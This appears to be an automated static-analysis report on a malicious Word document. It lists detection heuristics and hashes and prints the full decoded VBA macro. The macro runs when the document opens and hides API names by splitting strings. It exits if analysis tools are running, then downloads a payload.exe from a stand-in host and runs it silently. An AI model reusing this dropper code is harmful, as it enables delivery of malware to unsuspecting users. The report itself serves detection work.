Malicious Office (OOXML) / .DOCX — malware analysis report

Static analysis result for SHA-256 d786972030f764f8…

MALICIOUS

Office (OOXML) / .DOCX

18.6 KB Created: 2026-05-08 15:48:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2026-06-20
MD5: 31f8267927e2956da948ad4ec2380c70 SHA-1: 78e46498664b1719a521d615d171aef8c000cbe8 SHA-256: d786972030f764f846f174e2ac01355af50ffe6c6b20f8da8786dbe45f5628d9
330 Risk Score

Heuristics 9

  • VBA project inside OOXML medium 7 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
        Dim shell As Object
  • VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC
    VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
    Matched line in script
            stream.Write http.ResponseBody
  • Dangerous API name reassembled from split string literals critical OLE_VBA_SPLIT_KEYWORD_OBFUSCATION
    VBA concatenates short string literals that reassemble a dangerous API/ProgID/LOLBin name (e.g. Scripting.FileSystemObject, WScript.Shell, powershell, URLDownloadToFile) which appears in no single literal. Splitting an API name across string concatenation is done only to evade keyword scanning.
    Matched line in script
        Dim shell As Object
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        Set shell = CreateObject("WSc" & "ript" & ".Sh" & "ell")
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
    Matched line in script
        Set wmi = GetObject("win" & "mgmts:\\.\r" & "oot\c" & "imv2")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_Open()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas Referenced by macro
    • http://schemas.microsoft.com/office/drawing/2014/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexReferenced by macro
    • http://schemas.openxmlformats.org/markup-compatibility/2006Referenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/inkReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2017/model3dReferenced by macro
    • http://schemas.microsoft.com/office/2019/extlstReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/mathReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2012/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2018/wordml/cexReferenced by macro
    • http://schemas.microsoft.com/office/word/2016/wordml/cidReferenced by macro
    • http://schemas.microsoft.com/office/word/2018/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2023/wordml/word16duReferenced by macro
    • http://schemas.microsoft.com/office/word/2020/wordml/sdtdatahashReferenced by macro
    • http://schemas.microsoft.com/office/word/2024/wordml/sdtformatlockReferenced by macro
    • http://schemas.microsoft.com/office/word/2015/wordml/symexReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkReferenced by macro
    • http://schemas.microsoft.com/office/word/2006/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeReferenced by macro
    • https://uithcm-my.sharepoint.com/personal/23520498_ms_uitThisDocumentReferenced by macro
    • https://uithcm-my.sharepoint.com/personal/23520498_ms_uit_edu_vn/Documents/Referenced by macro

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2059 bytes
SHA-256: d19ee40b33903a1051e19d86f0810c30bd1478e8cec1148ba5e9f79f7d555511
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
    Dim shell As Object
    Dim wmi As Object
    Dim processes As Object
    Dim process As Variant
    Dim payloadURL As String
    Dim payloadPath As String
    Dim http As Object
    Dim stream As Object
    
    ' Execution with WScript.Shell
    Set shell = CreateObject("WSc" & "ript" & ".Sh" & "ell")
    shell.Run "c" & "md.e" & "xe /c e" & "cho I" & "nitial E" & "xecution", 0, True
    
    ' Discovery with WMI
    Set wmi = GetObject("win" & "mgmts:\\.\r" & "oot\c" & "imv2")
    Set processes = wmi.ExecQuery("S" & "ELECT * F" & "ROM Win32_P" & "rocess")
    
    For Each process In processes
        If InStr(1, process.Name, "P" & "rocessH" & "acker", vbTextCompare) > 0 Or _
           InStr(1, process.Name, "P" & "rocessE" & "xplorer", vbTextCompare) > 0 Or _
           InStr(1, process.Name, "P" & "rocmon", vbTextCompare) > 0 Then
            ' Exit if analysis tools are detected
            Exit Sub
        End If
    Next process
    
    ' Command and Control (C2) with MSXML2.XMLHTTP
    payloadURL = "h" & "ttp://" & "exa" & "mple.c" & "om/p" & "ayload.e" & "xe"
    payloadPath = shell.SpecialFolders("T" & "emp") & "\p" & "ayload.e" & "xe"
    
    Set http = CreateObject("MSX" & "ML2.XM" & "LHTTP")
    http.Open "G" & "ET", payloadURL, False
    http.Send
    
    If http.Status = 200 Then
        ' Payload Handling
        Set stream = CreateObject("AD" & "ODB.S" & "tream")
        stream.Type = 1 ' adTypeBinary
        stream.Open
        stream.Write http.ResponseBody
        stream.SaveToFile payloadPath, 2 ' adSaveCreateOverWrite
        stream.Close
        
        ' Execution of Payload
        shell.Run payloadPath, 0, True
    End If
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 10752 bytes
SHA-256: ded1597a28454a3b05cbf6e23095ad47ba59f74d4c15d06c9abd3db0ca15043d

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